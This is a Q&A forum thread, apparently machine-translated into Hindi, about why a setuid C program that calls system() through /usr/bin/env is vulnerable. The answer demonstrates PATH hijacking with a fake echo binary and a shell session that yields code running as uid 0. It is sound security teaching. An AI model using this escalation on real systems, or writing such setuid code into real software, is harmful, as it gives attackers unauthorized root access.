2011-11-29 10 views
34
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <sys/types.h> 
#include <stdio.h> 

int main(int argc, char **argv, char **envp) 
{ 
    gid_t gid; 
    uid_t uid; 
    gid = getegid(); 
    uid = geteuid(); 

    setresgid(gid, gid, gid); 
    setresuid(uid, uid, uid); 

    system("/usr/bin/env echo and now what?"); 

} 

जिस तरह से मैं इसे समझता हूं, उपरोक्त कोड मनमाने ढंग से कोड (या प्रोग्राम) निष्पादन की अनुमति देता है - यह कमजोर बनाता है, और इसका लाभ कैसे उठाता है?इस सी कोड के बारे में कमजोर क्या है?

+2

आपको क्यों लगता है कि यह मनमाने ढंग से कोड निष्पादन की अनुमति देता है? –

+0

अच्छी तरह से, ईमानदार होने के लिए मैं इसे अंधविश्वास पर ले रहा हूं। मैं एक सुरक्षा छात्र हूं, मैं कमजोर कोड देख रहा था, और मैंने इसे देखा, यह पुस्तक में कहता है कि यह करता है, हालांकि यह इस विशेष उदाहरण की व्याख्या नहीं करता है। – quantumdisaster

+0

शायद आप सिस्टम कॉल का संदर्भ लें? इस पर कोई विशेषज्ञ नहीं है, लेकिन यह एकमात्र चीज है जो दूरस्थ रूप से मुझे अजीब लग रही है। कोई बफर ओवररन्स या ऐसा कुछ भी नहीं। –

उत्तर

51

आप echo के अपने कस्टम संस्करण के साथ एक निर्देशिका को इंगित करने के PATH चर ओवरराइड कर सकते हैं और तब से echoenv का उपयोग कर कार्यान्वित किया जाता है, यह एक में निर्मित के रूप में इलाज नहीं है।

यह केवल एक भेद्यता का गठन करता है यदि कोड विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में चलाया जाता है।

नीचे दिए गए उदाहरण में v2 में प्रश्न से कोड शामिल है।

$ cat echo.c 
#include <stdio.h> 
#include <unistd.h> 

int main() { 
    printf("Code run as uid=%d\n", getuid()); 
} 
$ cc -o echo echo.c 
$ cc -o v v.c 
$ sudo chown root v 
$ sudo chmod +s v 
$ ls -l 
total 64 
-rwxr-xr-x 1 user  group 8752 Nov 29 01:55 echo 
-rw-r--r-- 1 user  group 99 Nov 29 01:54 echo.c 
-rwsr-sr-x 1 root  group 8896 Nov 29 01:55 v 
-rw-r--r-- 1 user  group 279 Nov 29 01:55 v.c 
$ ./v 
and now what? 
$ export PATH=.:$PATH 
$ ./v 
Code run as uid=0 
$ 

ध्यान दें कि वास्तविक यूजर आईडी, प्रभावी उपयोगकर्ता आईडी स्थापित करने और बचाया एक संवेदनशील कोड सवाल में तैनात में system() को कॉल करने से पहले setresuid() करने के लिए कॉल द्वारा सेट उपयोगकर्ता के आईडी एक भेद्यता का उपयोग करने की अनुमति देता है यहां तक ​​कि जब केवल प्रभावी उपयोगकर्ता आईडी एक विशेषाधिकार प्राप्त उपयोगकर्ता आईडी पर सेट की जाती है और असली उपयोगकर्ता आईडी अप्रतिबंधित बनी हुई है (उदाहरण के लिए उदाहरण के लिए उपरोक्त फ़ाइल पर सेट-उपयोगकर्ता-आईडी बिट पर निर्भर करते समय)। setresuid() पर कॉल के बिना system() द्वारा चलाया जाने वाला खोल प्रभावी उपयोगकर्ता आईडी को असली उपयोगकर्ता आईडी पर वापस रीसेट कर देगा जिससे शोषण अप्रभावी हो। हालांकि, इस मामले में जब कमजोर कोड एक विशेषाधिकार प्राप्त उपयोगकर्ता के वास्तविक उपयोगकर्ता आईडी के साथ चलाया जाता है, तो system() अकेले कॉल पर्याप्त है। का हवाला देते हुए sh आदमी पेज:

खोल प्रभावी उपयोगकर्ता (समूह) आईडी वास्तविक उपयोगकर्ता (समूह) आईडी, और -p विकल्प के बराबर नहीं के साथ शुरू किया गया है, तो नहीं दिया जाता है, कोई स्टार्टअप फ़ाइलों हैं पढ़ें, शैल फ़ंक्शंस को पर्यावरण से विरासत में नहीं मिला है, SHELLOPTS चर, यदि यह पर्यावरण में प्रकट होता है, तो अनदेखा किया जाता है, और प्रभावी उपयोगकर्ता आईडी वास्तविक उपयोगकर्ता आईडी पर सेट होता है। यदि -p विकल्प को आमंत्रण पर आपूर्ति की जाती है, तो स्टार्टअप व्यवहार समान है, लेकिन प्रभावी उपयोगकर्ता आईडी रीसेट नहीं है।

इसके अलावा, ध्यान दें कि setresuid() पोर्टेबल नहीं है, लेकिन setuid() या setreuid() भी एक ही प्रभाव के लिए इस्तेमाल किया जा सकता है।

+1

बस जिज्ञासा ... पाथ इस में कैसे आती है? मैंने सोचा होगा क्योंकि "env" के पूर्ण पथ को निर्दिष्ट किया जा रहा है, इसलिए पाथ की खोज नहीं की जाएगी। बेशक, अगर किसी को/usr/bin/env पर एक बुरा प्रोग्राम डालने की अनुमति थी, तो परेशानी होगी। – Ron

+0

ठीक है धन्यवाद – quantumdisaster

+12

'env' खोज 'echo' खोजने के लिए' पथ '। –

संबंधित मुद्दे